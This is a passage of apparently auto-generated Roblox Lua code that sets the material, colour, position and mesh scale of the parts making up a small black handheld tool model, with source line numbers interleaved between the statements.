BlockMesh42.Offset = Vector3.new(0, 0, 0.0599999987)
1364
BlockMesh42.Scale = Vector3.new(0.75, 0.599999964, 1.12099993)
1365
BlockMesh42.Scale = Vector3.new(0.75, 0.599999964, 1.12099993)
1366
Part43.Parent = Tool0
1367
Part43.Material = Enum.Material.SmoothPlastic
1368
Part43.BrickColor = BrickColor.new("Black")
1369
Part43.Reflectance = 0.050000000745058
1370
Part43.Rotation = Vector3.new(-180, -89.4599991, -90)
1371
Part43.Anchored = true
1372
Part43.FormFactor = Enum.FormFactor.Custom
1373
Part43.Size = Vector3.new(0.209999993, 0.200000003, 0.209999993)
1374
Part43.CFrame = CFrame.new(27.0847168, 1.27026403, 139.204041, 7.55679963e-08, 0.00939127803, -0.999955833, 0.999999702, -2.19092968e-07, 7.35136751e-08, -2.1839287e-07, -0.999955297, -0.00939120352)
1375
Part43.BottomSurface = Enum.SurfaceType.Smooth
1376
Part43.TopSurface = Enum.SurfaceType.Smooth
1377
Part43.Color = Color3.new(0.105882, 0.164706, 0.207843)
1378
Part43.Position = Vector3.new(27.0847168, 1.27026403, 139.204041)
1379
Part43.Orientation = Vector3.new(0, -90.5400009, 90)
1380
Part43.Color = Color3.new(0.105882, 0.164706, 0.207843)
1381
CylinderMesh44.Parent = Part43
1382
CylinderMesh44.Scale = Vector3.new(1.10000002, 0.5625, 1.10000002)
1383
CylinderMesh44.Scale = Vector3.new(1.10000002, 0.5625, 1.10000002)
1384
Part45.Parent = Tool0
1385
Part45.Material = Enum.Material.SmoothPlastic
1386
Part45.BrickColor = BrickColor.new("Black")
1387
Part45.Reflectance = 0.050000000745058
1388
Part45.Rotation = Vector3.new(90, 0, 0.539999962)
1389
Part45.Anchored = true
1390
Part45.FormFactor = Enum.FormFactor.Custom
1391
Part45.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
1392
Part45.CFrame = CFrame.new(27.0944824, 1.43823195, 138.142151, 0.999955654, -0.00939129293, -7.51574873e-08, -7.35136396e-08, 1.75381615e-07, -0.999999702, 0.00939139724, 0.999955297, 1.74683493e-07)
1393
Part45.BottomSurface = Enum.SurfaceType.Smooth
1394
Part45.TopSurface = Enum.SurfaceType.Smooth
1395
Part45.Color = Color3.new(0.105882, 0.164706, 0.207843)
1396
Part45.Position = Vector3.new(27.0944824, 1.43823195, 138.142151)
1397
Part45.Orientation = Vector3.new(89.9599991, -23.2799988, -22.7399998)
1398
Part45.Color = Color3.new(0.105882, 0.164706, 0.207843)
1399
BlockMesh46.Parent = Part45
1400
BlockMesh46.Offset = Vector3.new(0.0599999987, 0.0149999997, 0.0375000015)
1401
BlockMesh46.Scale = Vector3.new(0.450000018, 0.299999982, 0.149999991)
1402
BlockMesh46.Scale = Vector3.new(0.450000018, 0.299999982, 0.149999991)
1403
Part47.Parent = Tool0
1404
Part47.Material = Enum.Material.SmoothPlastic
1405
Part47.BrickColor = BrickColor.new("Black")
1406
Part47.Reflectance = 0.050000000745058
1407
Part47.Rotation = Vector3.new(-90, 0, -0.539999962)
1408
Part47.Anchored = true
1409
Part47.FormFactor = Enum.FormFactor.Custom
1410
Part47.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
1411
Part47.CFrame = CFrame.new(27.0892334, 0.901122987, 138.718384, 0.999955833, 0.00939102471, 7.51575016e-08, -7.35136609e-08, -1.75381558e-07, 0.999999583, 0.00939126313, -0.999954998, -1.74683436e-07)
1412
Part47.BottomSurface = Enum.SurfaceType.Smooth
1413
Part47.TopSurface = Enum.SurfaceType.Smooth
1414
Part47.Color = Color3.new(0.105882, 0.164706, 0.207843)
1415
Part47.Position = Vector3.new(27.0892334, 0.901122987, 138.718384)
1416
Part47.Orientation = Vector3.new(-89.9499969, 156.720001, -157.259995)
1417
Part47.Color = Color3.new(0.105882, 0.164706, 0.207843)
1418
SpecialMesh48.Parent = Part47
1419
SpecialMesh48.Scale = Vector3.new(1, 0.180000007, 0.149999991)
1420
SpecialMesh48.MeshType = Enum.MeshType.Wedge
1421
SpecialMesh48.Scale = Vector3.new(1, 0.180000007, 0.149999991)
1422
Part49.Parent = Tool0
1423
Part49.Material = Enum.Material.SmoothPlastic
1424
Part49.BrickColor = BrickColor.new("Black")
1425
Part49.Reflectance = 0.050000000745058
1426
Part49.Rotation = Vector3.new(0, 89.4599991, 0)
1427
Part49.Anchored = true
1428
Part49.FormFactor = Enum.FormFactor.Custom
1429
Part49.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
1430
Part49.CFrame = CFrame.new(26.9870605, 1.40820301, 138.111023, 0.00939127803, 8.71412595e-08, 0.999955893, 2.9562246e-08, 0.999999881, -8.74227624e-08, -0.999955535, 3.03819299e-08, 0.00939150155)
1431
Part49.BottomSurface = Enum.SurfaceType.Smooth
1432
Part49.TopSurface = Enum.SurfaceType.Smooth
1433
Part49.Color = Color3.new(0.105882, 0.164706, 0.207843)
1434
Part49.Position = Vector3.new(26.9870605, 1.40820301, 138.111023)
1435
Part49.Orientation = Vector3.new(0, 89.4599991, 0)
1436
Part49.Color = Color3.new(0.105882, 0.164706, 0.207843)
1437
CylinderMesh50.Parent = Part49
1438
CylinderMesh50.Offset = Vector3.new(0, -0.00749999983, 0)
1439
CylinderMesh50.Scale = Vector3.new(0.450000018, 0.225000009, 0.450000018)
1440
CylinderMesh50.Scale = Vector3.new(0.450000018, 0.225000009, 0.450000018)
1441
Part51.Parent = Tool0
1442
Part51.Material = Enum.Material.SmoothPlastic
1443
Part51.BrickColor = BrickColor.new("Black")
1444
Part51.Reflectance = 0.050000000745058
1445
Part51.Rotation = Vector3.new(90, 0, 0.539999962)
1446
Part51.Anchored = true
1447
Part51.FormFactor = Enum.FormFactor.Custom
1448
Part51.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
1449
Part51.CFrame = CFrame.new(27.0948486, 1.40820301, 138.112427, 0.999955654, -0.00939129293, -7.51574873e-08, -7.35136396e-08, 1.75381615e-07, -0.999999702, 0.00939139724, 0.999955297, 1.74683493e-07)
1450
Part51.BottomSurface = Enum.SurfaceType.Smooth
1451
Part51.TopSurface = Enum.SurfaceType.Smooth
1452
Part51.Color = Color3.new(0.105882, 0.164706, 0.207843)
1453
Part51.Position = Vector3.new(27.0948486, 1.40820301, 138.112427)
1454
Part51.Orientation = Vector3.new(89.9599991, -23.2799988, -22.7399998)
1455
Part51.Color = Color3.new(0.105882, 0.164706, 0.207843)
1456
BlockMesh52.Parent = Part51
1457
BlockMesh52.Offset = Vector3.new(0, 0, 0.00749999983)
1458
BlockMesh52.Scale = Vector3.new(1.07999992, 0.450000018, 0.225000009)
1459
BlockMesh52.Scale = Vector3.new(1.07999992, 0.450000018, 0.225000009)
1460
Part53.Parent = Tool0
1461
Part53.Material = Enum.Material.SmoothPlastic
1462
Part53.BrickColor = BrickColor.new("Black")
1463
Part53.Reflectance = 0.050000000745058
1464
Part53.Rotation = Vector3.new(0, 89.4599991, 0)
1465
Part53.Anchored = true
1466
Part53.FormFactor = Enum.FormFactor.Custom
1467
Part53.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
1468
Part53.CFrame = CFrame.new(27.2025146, 1.40820301, 138.11322, 0.00939127803, 7.51574945e-08, 0.999955833, -1.75381601e-07, 0.999999702, -7.35136751e-08, -0.999955297, -1.74683422e-07, 0.00939120352)
1469
Part53.BottomSurface = Enum.SurfaceType.Smooth
1470
Part53.TopSurface = Enum.SurfaceType.Smooth
1471
Part53.Color = Color3.new(0.105882, 0.164706, 0.207843)
1472
Part53.Position = Vector3.new(27.2025146, 1.40820301, 138.11322)
1473
Part53.Orientation = Vector3.new(0, 89.4599991, 0)
1474
Part53.Color = Color3.new(0.105882, 0.164706, 0.207843)
1475
CylinderMesh54.Parent = Part53
1476
CylinderMesh54.Offset = Vector3.new(0, -0.00749999983, 0)
1477
CylinderMesh54.Scale = Vector3.new(0.450000018, 0.225000009, 0.450000018)
1478
CylinderMesh54.Scale = Vector3.new(0.450000018, 0.225000009, 0.450000018)
1479
Part55.Parent = Tool0
1480
Part55.Material = Enum.Material.SmoothPlastic
1481
Part55.BrickColor = BrickColor.new("Black")
1482
Part55.Reflectance = 0.050000000745058
1483
Part55.Rotation = Vector3.new(-90, 0, 179.459991)
1484
Part55.Anchored = true
1485
Part55.FormFactor = Enum.FormFactor.Custom
1486
Part55.Size = Vector3.new(0.209999993, 0.324000001, 0.200000003)
1487
Part55.CFrame = CFrame.new(27.09021, 0.813232005, 138.622009, -0.999955833, -0.00939106941, 7.61370416e-08, 7.35136609e-08, 2.79689573e-07, 0.999999523, -0.00939126313, 0.999955058, -2.7898696e-07)
1488
Part55.BottomSurface = Enum.SurfaceType.Smooth
1489
Part55.TopSurface = Enum.SurfaceType.Smooth
1490
Part55.Color = Color3.new(0.105882, 0.164706, 0.207843)
1491
Part55.Position = Vector3.new(27.09021, 0.813232005, 138.622009)
1492
Part55.Orientation = Vector3.new(-89.9399948, 164.73999, 14.7299995)
1493
Part55.Color = Color3.new(0.105882, 0.164706, 0.207843)
1494
BlockMesh56.Parent = Part55
1495
BlockMesh56.Scale = Vector3.new(1, 1, 0.0749999955)
1496
BlockMesh56.Scale = Vector3.new(1, 1, 0.0749999955)
1497
Part57.Parent = Tool0
1498
Part57.Material = Enum.Material.SmoothPlastic
1499
Part57.BrickColor = BrickColor.new("Black")
1500
Part57.Reflectance = 0.050000000745058
1501
Part57.Rotation = Vector3.new(180, 0.539999962, 0)
1502
Part57.Anchored = true
1503
Part57.FormFactor = Enum.FormFactor.Custom
1504
Part57.Size = Vector3.new(0.209999993, 0.200000003, 0.449999988)
1505
Part57.CFrame = CFrame.new(27.086792, 0.846190989, 138.955017, 0.999955833, -7.51575016e-08, 0.00939106941, -7.35136609e-08, -0.999999523, -1.7538153e-07, 0.00939126313, 1.74683436e-07, -0.999955058)
1506
Part57.BottomSurface = Enum.SurfaceType.Smooth
1507
Part57.TopSurface = Enum.SurfaceType.Smooth
1508
Part57.Color = Color3.new(0.105882, 0.164706, 0.207843)
1509
Part57.Position = Vector3.new(27.086792, 0.846190989, 138.955017)
1510
Part57.Orientation = Vector3.new(0, 179.459991, -180)
1511
Part57.Color = Color3.new(0.105882, 0.164706, 0.207843)
1512
SpecialMesh58.Parent = Part57
1513
SpecialMesh58.Scale = Vector3.new(1, 0.419999987, 1)
1514
SpecialMesh58.MeshType = Enum.MeshType.Wedge
1515
SpecialMesh58.Scale = Vector3.new(1, 0.419999987, 1)
1516
Part59.Parent = Tool0
1517
Part59.Material = Enum.Material.SmoothPlastic
1518
Part59.BrickColor = BrickColor.new("Black")
1519
Part59.Reflectance = 0.050000000745058
1520
Part59.Rotation = Vector3.new(180, 0.5, 0)
1521
Part59.Anchored = true
1522
Part59.FormFactor = Enum.FormFactor.Custom
1523
Part59.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
1524
Part59.CFrame = CFrame.new(27.0842285, 1.22216797, 139.222046, 0.999961853, -1.92377968e-07, 0.0087005496, -1.90859822e-07, -0.999999702, -1.75310205e-07, 0.00870066881, 1.73642931e-07, -0.999961257)
1525
Part59.BottomSurface = Enum.SurfaceType.Smooth
1526
Part59.TopSurface = Enum.SurfaceType.Smooth
1527
Part59.Color = Color3.new(0.105882, 0.164706, 0.207843)
1528
Part59.Position = Vector3.new(27.0842285, 1.22216797, 139.222046)
1529
Part59.Orientation = Vector3.new(0, 179.5, -180)
1530
Part59.Color = Color3.new(0.105882, 0.164706, 0.207843)
1531
BlockMesh60.Parent = Part59
1532
BlockMesh60.Scale = Vector3.new(1, 0.900000036, 0.375)
1533
BlockMesh60.Scale = Vector3.new(1, 0.900000036, 0.375)
1534
Part61.Parent = Tool0
1535
Part61.Material = Enum.Material.SmoothPlastic
1536
Part61.BrickColor = BrickColor.new("Black")
1537
Part61.Reflectance = 0.050000000745058
1538
Part61.Rotation = Vector3.new(-180, -89.4599991, -90)
1539
Part61.Anchored = true
1540
Part61.FormFactor = Enum.FormFactor.Custom
1541
Part61.Size = Vector3.new(0.209999993, 0.540000021, 0.209999993)
1542
Part61.CFrame = CFrame.new(27.0905762, 1.27026403, 138.553284, 1.19277473e-07, 0.00939115882, -0.999955595, 0.999999702, -2.19092939e-07, 1.17225042e-07, -2.17982333e-07, -0.999955356, -0.00939118862)
1543
Part61.BottomSurface = Enum.SurfaceType.Smooth
1544
Part61.TopSurface = Enum.SurfaceType.Smooth
1545
Part61.Color = Color3.new(0.105882, 0.164706, 0.207843)
1546
Part61.Position = Vector3.new(27.0905762, 1.27026403, 138.553284)
1547
Part61.Orientation = Vector3.new(0, -90.5400009, 90)
1548
Part61.Color = Color3.new(0.105882, 0.164706, 0.207843)
1549
CylinderMesh62.Parent = Part61
1550
CylinderMesh62.Offset = Vector3.new(0, 0.111000001, 0)
1551
CylinderMesh62.Scale = Vector3.new(1.10000002, 1.39999986, 1.10000002)
1552
CylinderMesh62.Scale = Vector3.new(1.10000002, 1.39999986, 1.10000002)
1553
Part63.Parent = Tool0
1554
Part63.Material = Enum.Material.SmoothPlastic
1555
Part63.BrickColor = BrickColor.new("Black")
1556
Part63.Reflectance = 0.050000000745058
1557
Part63.Rotation = Vector3.new(-90, 0, 179.459991)
1558
Part63.Anchored = true
1559
Part63.FormFactor = Enum.FormFactor.Custom
1560
Part63.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
1561
Part63.CFrame = CFrame.new(27.0906982, 0.903075993, 138.562073, -0.999955833, -0.00939102471, 7.51575016e-08, 7.35136609e-08, 1.75381558e-07, 0.999999583, -0.00939126313, 0.999954998, -1.74683436e-07)
1562
Part63.BottomSurface = Enum.SurfaceType.Smooth
1563
Part63.TopSurface = Enum.SurfaceType.Smooth
1564
Part63.Color = Color3.new(0.105882, 0.164706, 0.207843)
1565
Part63.Position = Vector3.new(27.0906982, 0.903075993, 138.562073)
1566
Part63.Orientation = Vector3.new(-89.9499969, 156.720001, 22.7399998)
1567
Part63.Color = Color3.new(0.105882, 0.164706, 0.207843)
1568
SpecialMesh64.Parent = Part63
1569
SpecialMesh64.Scale = Vector3.new(1, 0.180000007, 0.149999991)
1570
SpecialMesh64.MeshType = Enum.MeshType.Wedge
1571
SpecialMesh64.Scale = Vector3.new(1, 0.180000007, 0.149999991)
1572
Part65.Parent = Tool0
1573
Part65.Material = Enum.Material.SmoothPlastic
1574
Part65.BrickColor = BrickColor.new("Black")
1575
Part65.Reflectance = 0.050000000745058
1576
Part65.Rotation = Vector3.new(90, 0, 0.539999962)
1577
Part65.Anchored = true
1578
Part65.FormFactor = Enum.FormFactor.Custom
1579
Part65.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
1580
Part65.CFrame = CFrame.new(27.0847168, 0.901122987, 139.183044, 0.999955833, -0.00939127803, -7.51574945e-08, -7.35136751e-08, 1.75381601e-07, -0.999999702, 0.00939120352, 0.999955297, 1.74683422e-07)
1581
Part65.BottomSurface = Enum.SurfaceType.Smooth
1582
Part65.TopSurface = Enum.SurfaceType.Smooth
1583
Part65.Color = Color3.new(0.105882, 0.164706, 0.207843)
1584
Part65.Position = Vector3.new(27.0847168, 0.901122987, 139.183044)
1585
Part65.Orientation = Vector3.new(89.9599991, -23.2799988, -22.7399998)
1586
Part65.Color = Color3.new(0.105882, 0.164706, 0.207843)
1587
SpecialMesh66.Parent = Part65
1588
SpecialMesh66.Scale = Vector3.new(1, 0.180000007, 0.149999991)
1589
SpecialMesh66.MeshType = Enum.MeshType.Wedge
1590
SpecialMesh66.Scale = Vector3.new(1, 0.180000007, 0.149999991)
1591
Part67.Parent = Tool0
1592
Part67.Material = Enum.Material.SmoothPlastic
1593
Part67.BrickColor = BrickColor.new("Black")
1594
Part67.Reflectance = 0.050000000745058
1595
Part67.Rotation = Vector3.new(0, -0.539999962, 180)
1596
Part67.Anchored = true
1597
Part67.FormFactor = Enum.FormFactor.Custom
1598
Part67.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
1599
Part67.CFrame = CFrame.new(27.0936279, 1.078125, 138.190063, -0.999955833, -7.51575016e-08, -0.00939102471, 7.35136609e-08, -0.999999583, 1.75381558e-07, -0.00939126313, 1.74683436e-07, 0.999954998)
1600
Part67.BottomSurface = Enum.SurfaceType.Smooth
1601
Part67.TopSurface = Enum.SurfaceType.Smooth
1602
Part67.Color = Color3.new(0.105882, 0.164706, 0.207843)
1603
Part67.Position = Vector3.new(27.0936279, 1.078125, 138.190063)
1604
Part67.Orientation = Vector3.new(0, -0.539999962, 180)
1605
Part67.Color = Color3.new(0.105882, 0.164706, 0.207843)
1606
SpecialMesh68.Parent = Part67
1607
SpecialMesh68.Scale = Vector3.new(1, 0.149999991, 0.299999982)
1608
SpecialMesh68.MeshType = Enum.MeshType.Wedge
1609
SpecialMesh68.Scale = Vector3.new(1, 0.149999991, 0.299999982)
1610
Part69.Parent = Tool0
1611
Part69.Material = Enum.Material.SmoothPlastic
1612
Part69.BrickColor = BrickColor.new("Black")
1613
Part69.Reflectance = 0.050000000745058
1614
Part69.Rotation = Vector3.new(180, 0.539999962, -180)
1615
Part69.Anchored = true
1616
Part69.FormFactor = Enum.FormFactor.Custom
1617
Part69.Size = Vector3.new(0.209999993, 0.200000003, 0.419999987)
1618
Part69.CFrame = CFrame.new(27.086792, 0.97607398, 138.955017, -0.999955833, 7.51574945e-08, 0.00939127803, 7.35136751e-08, 0.999999702, -1.75381601e-07, -0.00939120352, -1.74683422e-07, -0.999955297)
1619
Part69.BottomSurface = Enum.SurfaceType.Smooth
1620
Part69.TopSurface = Enum.SurfaceType.Smooth
1621
Part69.Color = Color3.new(0.105882, 0.164706, 0.207843)
1622
Part69.Position = Vector3.new(27.086792, 0.97607398, 138.955017)
1623
Part69.Orientation = Vector3.new(0, 179.459991, 0)
1624
Part69.Color = Color3.new(0.105882, 0.164706, 0.207843)
1625
SpecialMesh70.Parent = Part69
1626
SpecialMesh70.Scale = Vector3.new(1, 0.900000036, 1.10000002)
1627
SpecialMesh70.MeshType = Enum.MeshType.Brick
1628
SpecialMesh70.Scale = Vector3.new(1, 0.900000036, 1.10000002)
1629
Part71.Parent = Tool0
1630
Part71.Material = Enum.Material.SmoothPlastic
1631
Part71.BrickColor = BrickColor.new("Black")
1632
Part71.Reflectance = 0.050000000745058
1633
Part71.Rotation = Vector3.new(0, -0.539999962, 180)
1634
Part71.Anchored = true
1635
Part71.FormFactor = Enum.FormFactor.Custom
1636
Part71.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
1637
Part71.CFrame = CFrame.new(27.0933838, 1.00610304, 138.262009, -0.999955833, -7.51575016e-08, -0.00939106941, 7.35136609e-08, -0.999999523, 1.7538153e-07, -0.00939126313, 1.74683436e-07, 0.999955058)
1638
Part71.BottomSurface = Enum.SurfaceType.Smooth
1639
Part71.TopSurface = Enum.SurfaceType.Smooth
1640
Part71.Color = Color3.new(0.105882, 0.164706, 0.207843)
1641
Part71.Position = Vector3.new(27.0933838, 1.00610304, 138.262009)
1642
Part71.Orientation = Vector3.new(0, -0.539999962, 180)
1643
Part71.Color = Color3.new(0.105882, 0.164706, 0.207843)
1644
SpecialMesh72.Parent = Part71
1645
SpecialMesh72.Scale = Vector3.new(1, 0.299999982, 0.149999991)
1646
SpecialMesh72.MeshType = Enum.MeshType.Wedge
1647
SpecialMesh72.Scale = Vector3.new(1, 0.299999982, 0.149999991)
1648
Part73.Parent = Tool0
1649
Part73.Material = Enum.Material.SmoothPlastic
1650
Part73.BrickColor = BrickColor.new("Brick yellow")
1651
Part73.Reflectance = 0.050000000745058
1652
Part73.Rotation = Vector3.new(118.689995, 0.25999999, 0.469999999)
1653
Part73.Anchored = true
1654
Part73.FormFactor = Enum.FormFactor.Custom
1655
Part73.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
1656
Part73.CFrame = CFrame.new(27.0927734, 0.473145008, 138.348206, 0.999955833, -0.00823810697, 0.00450787693, -7.35136609e-08, -0.480031699, -0.877250612, 0.00939126313, 0.877211511, -0.480010271)
1657
Part73.BottomSurface = Enum.SurfaceType.Smooth
1658
Part73.TopSurface = Enum.SurfaceType.Smooth
1659
Part73.Color = Color3.new(0.843137, 0.772549, 0.603922)
1660
Part73.Position = Vector3.new(27.0927734, 0.473145008, 138.348206)
1661
Part73.Orientation = Vector3.new(61.3099976, 179.459991, -180)
1662
Part73.Color = Color3.new(0.843137, 0.772549, 0.603922)
1663
SpecialMesh74.Parent = Part73
1664
SpecialMesh74.Scale = Vector3.new(1, 0.180000007, 0.149999991)
1665
SpecialMesh74.MeshType = Enum.MeshType.Wedge
1666
SpecialMesh74.Scale = Vector3.new(1, 0.180000007, 0.149999991)
1667
Part75.Parent = Tool0
1668
Part75.Material = Enum.Material.SmoothPlastic
1669
Part75.BrickColor = BrickColor.new("Dark stone grey")
1670
Part75.Reflectance = 0.050000000745058
1671
Part75.Rotation = Vector3.new(0, -75.5400009, 90)
1672
Part75.Anchored = true
1673
Part75.FormFactor = Enum.FormFactor.Custom
1674
Part75.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
1675
Part75.CFrame = CFrame.new(26.9014893, 1.28222597, 138.153503, 1.172628e-07, -0.24973698, -0.968313515, 0.999999583, -1.33308845e-07, 1.55481473e-07, -1.6791428e-07, -0.968312979, 0.249736756)
1676
Part75.BottomSurface = Enum.SurfaceType.Smooth
1677
Part75.TopSurface = Enum.SurfaceType.Smooth
1678
Part75.Color = Color3.new(0.388235, 0.372549, 0.384314)
1679
Part75.Position = Vector3.new(26.9014893, 1.28222597, 138.153503)
1680
Part75.Orientation = Vector3.new(0, -75.5400009, 90)
1681
Part75.Color = Color3.new(0.388235, 0.372549, 0.384314)
1682
CylinderMesh76.Parent = Part75
1683
CylinderMesh76.Scale = Vector3.new(0.337500006, 0.149999991, 0.337500006)
1684
CylinderMesh76.Scale = Vector3.new(0.337500006, 0.149999991, 0.337500006)
1685
Part77.Parent = Tool0
1686
Part77.Material = Enum.Material.SmoothPlastic
1687
Part77.BrickColor = BrickColor.new("Black")
1688
Part77.Reflectance = 0.050000000745058
1689
Part77.Rotation = Vector3.new(-180, -89.4599991, -90)
1690
Part77.Anchored = true
1691
Part77.FormFactor = Enum.FormFactor.Custom
1692
Part77.Size = Vector3.new(0.209999993, 0.200000003, 0.209999993)
1693
Part77.CFrame = CFrame.new(27.1295166, 1.27026403, 138.262512, 7.51575016e-08, 0.00939102471, -0.999955833, 0.999999583, -1.75381558e-07, 7.35136609e-08, -1.74683436e-07, -0.999954998, -0.00939126313)
1694
Part77.BottomSurface = Enum.SurfaceType.Smooth
1695
Part77.TopSurface = Enum.SurfaceType.Smooth
1696
Part77.Color = Color3.new(0.105882, 0.164706, 0.207843)
1697
Part77.Position = Vector3.new(27.1295166, 1.27026403, 138.262512)
1698
Part77.Orientation = Vector3.new(0, -90.5400009, 90)
1699
Part77.Color = Color3.new(0.105882, 0.164706, 0.207843)
1700
CylinderMesh78.Parent = Part77
1701
CylinderMesh78.Scale = Vector3.new(1.10000002, 0.75, 1.02499998)
1702
CylinderMesh78.Scale = Vector3.new(1.10000002, 0.75, 1.02499998)
1703
Part79.Parent = Tool0
1704
Part79.Material = Enum.Material.SmoothPlastic
1705
Part79.BrickColor = BrickColor.new("Black")
1706
Part79.Reflectance = 0.050000000745058
1707
Part79.Rotation = Vector3.new(0, -0.539999962, 180)
1708
Part79.Anchored = true
1709
Part79.FormFactor = Enum.FormFactor.Custom
1710
Part79.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
1711
Part79.CFrame = CFrame.new(27.0936279, 1.07519495, 138.235168, -0.999955833, -7.51575016e-08, -0.00939102471, 7.35136609e-08, -0.999999583, 1.75381558e-07, -0.00939126313, 1.74683436e-07, 0.999954998)
1712
Part79.BottomSurface = Enum.SurfaceType.Smooth
1713
Part79.TopSurface = Enum.SurfaceType.Smooth
1714
Part79.Color = Color3.new(0.105882, 0.164706, 0.207843)
1715
Part79.Position = Vector3.new(27.0936279, 1.07519495, 138.235168)
1716
Part79.Orientation = Vector3.new(0, -0.539999962, 180)
1717
Part79.Color = Color3.new(0.105882, 0.164706, 0.207843)
1718
BlockMesh80.Parent = Part79
1719
BlockMesh80.Scale = Vector3.new(1, 0.149999991, 0.149999991)
1720
BlockMesh80.Scale = Vector3.new(1, 0.149999991, 0.149999991)
1721
Part81.Parent = Tool0
1722
Part81.Material = Enum.Material.SmoothPlastic
1723
Part81.BrickColor = BrickColor.new("Black")
1724
Part81.Reflectance = 0.050000000745058
1725
Part81.Transparency = 1
1726
Part81.Rotation = Vector3.new(0, 89.4599991, 0)
1727
Part81.Anchored = true
1728
Part81.FormFactor = Enum.FormFactor.Custom
1729
Part81.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
1730
Part81.CFrame = CFrame.new(26.9715576, 1.14721704, 138.434814, 0.00939127803, 7.51574945e-08, 0.999955833, -1.75381601e-07, 0.999999702, -7.35136751e-08, -0.999955297, -1.74683422e-07, 0.00939120352)
1731
Part81.BottomSurface = Enum.SurfaceType.Smooth
1732
Part81.TopSurface = Enum.SurfaceType.Smooth
1733
Part81.Color = Color3.new(0.105882, 0.164706, 0.207843)
1734
Part81.Position = Vector3.new(26.9715576, 1.14721704, 138.434814)
1735
Part81.Orientation = Vector3.new(0, 89.4599991, 0)
1736
Part81.Color = Color3.new(0.105882, 0.164706, 0.207843)
1737
Decal82.Parent = Part81
1738
Decal82.Texture = "http://www.roblox.com/asset/?id=30856971"
1739
Decal83.Parent = Part81
1740
Decal83.Texture = "http://www.roblox.com/asset/?id=30856971"
1741
Decal83.Face = Enum.NormalId.Back
1742
BlockMesh84.Parent = Part81
1743
BlockMesh84.Offset = Vector3.new(0, 0, 0.119999997)
1744
BlockMesh84.Scale = Vector3.new(0.450000018, 0.180000007, 1.04999995)
1745
BlockMesh84.Scale = Vector3.new(0.450000018, 0.180000007, 1.04999995)
1746
Part85.Parent = Tool0
1747
Part85.Material = Enum.Material.SmoothPlastic
1748
Part85.BrickColor = BrickColor.new("Black")
1749
Part85.Reflectance = 0.20000000298023
1750
Part85.Rotation = Vector3.new(-90, 0, 179.459991)
1751
Part85.Anchored = true
1752
Part85.FormFactor = Enum.FormFactor.Custom
1753
Part85.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
1754
Part85.CFrame = CFrame.new(27.2113037, 1.10522497, 138.527344, -0.999955535, -0.00939102471, 9.95769938e-08, 9.56952277e-08, 4.13800024e-07, 0.999999464, -0.00939133763, 0.999954998, -4.12883026e-07)
1755
Part85.BottomSurface = Enum.SurfaceType.Smooth
1756
Part85.TopSurface = Enum.SurfaceType.Smooth
1757
Part85.Color = Color3.new(0.105882, 0.164706, 0.207843)
1758
Part85.Position = Vector3.new(27.2113037, 1.10522497, 138.527344)
1759
Part85.Orientation = Vector3.new(-89.9399948, 166.440002, 13.0199995)
1760
Part85.Color = Color3.new(0.105882, 0.164706, 0.207843)
1761
BlockMesh86.Parent = Part85
1762
BlockMesh86.Offset = Vector3.new(0.0149999997, 0, 0)
1763
BlockMesh86.Scale = Vector3.new(0.149999991, 0.225000009, 0.119999997)
1764
BlockMesh86.Scale = Vector3.new(0.149999991, 0.225000009, 0.119999997)
1765
Part87.Parent = Tool0
1766
Part87.Material = Enum.Material.SmoothPlastic
1767
Part87.BrickColor = BrickColor.new("Black")
1768
Part87.Rotation = Vector3.new(-90, 0, -90.5400009)
1769
Part87.Anchored = true
1770
Part87.FormFactor = Enum.FormFactor.Custom
1771
Part87.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
1772
Part87.CFrame = CFrame.new(26.9715576, 1.07226598, 138.434814, -0.00939127803, 0.999955833, 7.51574945e-08, 1.75381601e-07, -7.35136751e-08, 0.999999702, 0.999955297, 0.00939120352, -1.74683422e-07)
1773
Part87.BottomSurface = Enum.SurfaceType.Smooth
1774
Part87.TopSurface = Enum.SurfaceType.Smooth
1775
Part87.Color = Color3.new(0.105882, 0.164706, 0.207843)
1776
Part87.Position = Vector3.new(26.9715576, 1.07226598, 138.434814)
1777
Part87.Orientation = Vector3.new(-89.9599991, 156.720001, 112.739998)
1778
Part87.Color = Color3.new(0.105882, 0.164706, 0.207843)
1779
CylinderMesh88.Parent = Part87
1780
CylinderMesh88.Offset = Vector3.new(0, 0.119999997, 0)
1781
CylinderMesh88.Scale = Vector3.new(0.450000018, 1.06499994, 0.450000018)
1782
CylinderMesh88.Scale = Vector3.new(0.450000018, 1.06499994, 0.450000018)
1783
Part89.Parent = Tool0
1784
Part89.Material = Enum.Material.SmoothPlastic
1785
Part89.BrickColor = BrickColor.new("Dark stone grey")
1786
Part89.Rotation = Vector3.new(-90, 0, 179.459991)
1787
Part89.Anchored = true
1788
Part89.FormFactor = Enum.FormFactor.Custom
1789
Part89.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
1790
Part89.CFrame = CFrame.new(26.9714355, 1.07226598, 138.460022, -0.999948323, -0.00939106941, 2.24161454e-07, -7.54979652e-08, 1.7537991e-07, 0.999993861, -0.00939135253, 0.999946117, -1.73282984e-07)
1791
Part89.BottomSurface = Enum.SurfaceType.Smooth
1792
Part89.TopSurface = Enum.SurfaceType.Smooth
1793
Part89.Color = Color3.new(0.388235, 0.372549, 0.384314)
1794
Part89.Position = Vector3.new(26.9714355, 1.07226598, 138.460022)
1795
Part89.Orientation = Vector3.new(-89.7999954, 127.709999, -23.289999)
1796
Part89.Color = Color3.new(0.388235, 0.372549, 0.384314)
1797
BlockMesh90.Parent = Part89
1798
BlockMesh90.Offset = Vector3.new(-0.0269999988, 0, 0)
1799
BlockMesh90.Scale = Vector3.new(0.149999991, 0.180000007, 0.0749999955)
1800
BlockMesh90.Scale = Vector3.new(0.149999991, 0.180000007, 0.0749999955)
1801
